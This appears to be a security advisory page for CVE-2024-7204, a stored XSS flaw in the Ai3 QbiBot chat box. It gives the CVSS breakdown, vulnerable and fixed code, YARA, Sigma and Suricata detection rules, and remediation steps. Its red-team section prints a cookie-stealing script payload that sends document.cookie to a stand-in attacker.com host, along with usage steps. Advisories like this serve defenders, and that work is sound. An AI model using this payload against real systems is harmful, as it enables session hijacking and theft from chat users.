CVE-2024-7204
Executive Summary
CVE-2024-7204 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ai3 QbiBot product. An unauthenticated remote attacker can inject arbitrary JavaScript code into the chat box. When the recipient views the malicious message, the script executes in their browser context, potentially leading to session hijacking, data theft, or further compromise. The CVSS score is 6.1 (Medium), and no patch is currently available from the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for exposed instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must view the message
- Scope: Changed (S:C) – injected script can affect resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the lack of authentication requirements and the stored nature of the XSS make it a persistent threat for any organization using QbiBot.
Deep Dive & Mechanics
The vulnerability resides in the chat box input handling of Ai3 QbiBot. The application fails to sanitize or encode user-supplied input before storing it in the chat history. When a recipient loads the chat interface, the stored message is rendered without proper escaping, allowing the injected JavaScript to execute in the victim’s browser.
Attack Flow:
- Attacker sends a crafted message containing malicious JavaScript (e.g.,
<script>alert('XSS')</script>). - The QbiBot server stores the message without sanitization.
- When the intended recipient opens the chat, the message is rendered, and the script executes.
- The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.
Root Cause: Lack of output encoding and input validation in the chat message handling code.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is described generically.
Vulnerable Code (Conceptual):
// Server-side storage (no sanitization)
app.post('/sendMessage', (req, res) => {
const message = req.body.message;
db.saveMessage(message); // stored as-is
});
// Client-side rendering (no escaping)
function renderMessage(msg) {
document.getElementById('chatBox').innerHTML += msg;
}
Patched Code (Recommended):
// Server-side sanitization
const sanitizeHtml = require('sanitize-html');
app.post('/sendMessage', (req, res) => {
const cleanMessage = sanitizeHtml(req.body.message, {
allowedTags: [],
allowedAttributes: {}
});
db.saveMessage(cleanMessage);
});
// Client-side safe rendering
function renderMessage(msg) {
const div = document.createElement('div');
div.textContent = msg; // safe text assignment
document.getElementById('chatBox').appendChild(div);
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to a QbiBot instance (e.g.,
http://target.com/qbibot) - Ability to send a chat message to a target user
Exploit Payload Example:
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Steps:
- Open the QbiBot chat interface.
- Send the payload as a message to the target user.
- Wait for the target to view the message.
- Receive the stolen cookie at your attacker-controlled server.
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Detection & Hardening)
Detection:
- Monitor chat logs for suspicious patterns like
<script>,onerror=,javascript:. - Use WAF rules to block common XSS payloads in chat endpoints.
Hardening:
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Apply input validation and output encoding on all chat messages.
- If possible, disable HTML rendering in chat messages entirely.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests from QbiBot server to unknown domains (e.g.,
attacker.com/steal?cookie=...) - Logs: Chat messages containing
<script>,onerror,onload, or other HTML event handlers. - File: Modified JavaScript files in the QbiBot web directory (if attacker gains further access).
Detection Engineering
YARA Rule
rule CVE_2024_7204_Stored_XSS {
meta:
description = "Detects stored XSS payloads in QbiBot chat logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-7204"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$xss4 = /javascript\s*:\s*/is
condition:
any of them
}
Sigma Rule
title: Stored XSS in Ai3 QbiBot Chat
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential stored XSS payloads in QbiBot chat messages
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: qbibot
detection:
selection:
message|contains:
- '<script>'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in chat (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-7204 Stored XSS Payload in QbiBot"; flow:to_server; content:"POST"; http_method; content:"/sendMessage"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable HTML rendering in the chat interface if configurable.
- Implement a Web Application Firewall (WAF) with XSS rules.
- Monitor chat logs for suspicious payloads and block offending IPs.
Long-Term Fix:
- Apply proper input validation and output encoding (see patched code example).
- Use a Content Security Policy (CSP) to restrict script execution.
- Contact the vendor for an official patch; if unavailable, consider replacing QbiBot with a maintained alternative.
Workaround:
- Proxy QbiBot through a reverse proxy that sanitizes chat messages before storage.
Valters IT